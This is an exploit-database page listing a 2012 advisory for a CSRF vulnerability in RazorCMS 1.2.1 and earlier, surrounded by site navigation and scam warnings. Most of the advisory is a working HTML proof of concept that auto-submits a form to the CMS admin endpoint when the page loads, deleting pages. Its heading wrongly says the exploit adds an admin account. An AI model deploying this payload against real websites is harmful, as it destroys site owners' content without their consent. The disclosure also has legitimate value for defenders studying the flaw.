0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
RazorCMS <= 1.2.1 STABLE CSRF (Delete Web Pages)
[+------------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : RazorCMS <= 1.2.1 STABLE CSRF (Delete Web Pages) # Date : 08-03-2012 # Author : Ivano Binetti (http://www,ivanobinetti.com) # Software link : http://www.razorcms.co.uk/archive/core/razorCMS_core_v1_2_1_STABLE.zip # Vendor site : http://www.razorcms.co.uk/ # Version : 1.2.1 STABLE and lower # Tested on : Debian Squeeze (6.0) +------------------------------------------------------------------------------------------------------------------------------------+ Summary 1)Introduction 2)Vulnerabilities Description 3)Exploit (Delete Web Page) +------------------------------------------------------------------------------------------------------------------------------------+ 1)Introduction "razorCMS is ideally suited to small to medium website projects, it can be run without need for a database, due to it's flat file structure it has no need for a database meaning it can also be a cost effected method in content management, allowing it to be used on the cheapest of web hosts, or even free hosting". 2)Vulnerabilities Description RazorCMS 1.2.1 STABLE (and lower) is affected by CSRF Vulnerability which allows an attacker to delete web pages, both published and unpublished. 3)Exploit (Delete Web Page) <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add ADMIN account</H2> <form method="POST" name="form0" action="http://<razorcms_ip>:80/razorcms/admin/?action=showcats&unpub=true&slabID=2&catname=sidebar"> </body> </html> In this POC I've deleted web page with ID=2 +------------------------------------------------------------------------------------------------------------------------------------+ # 0day.today [2024-12-25] #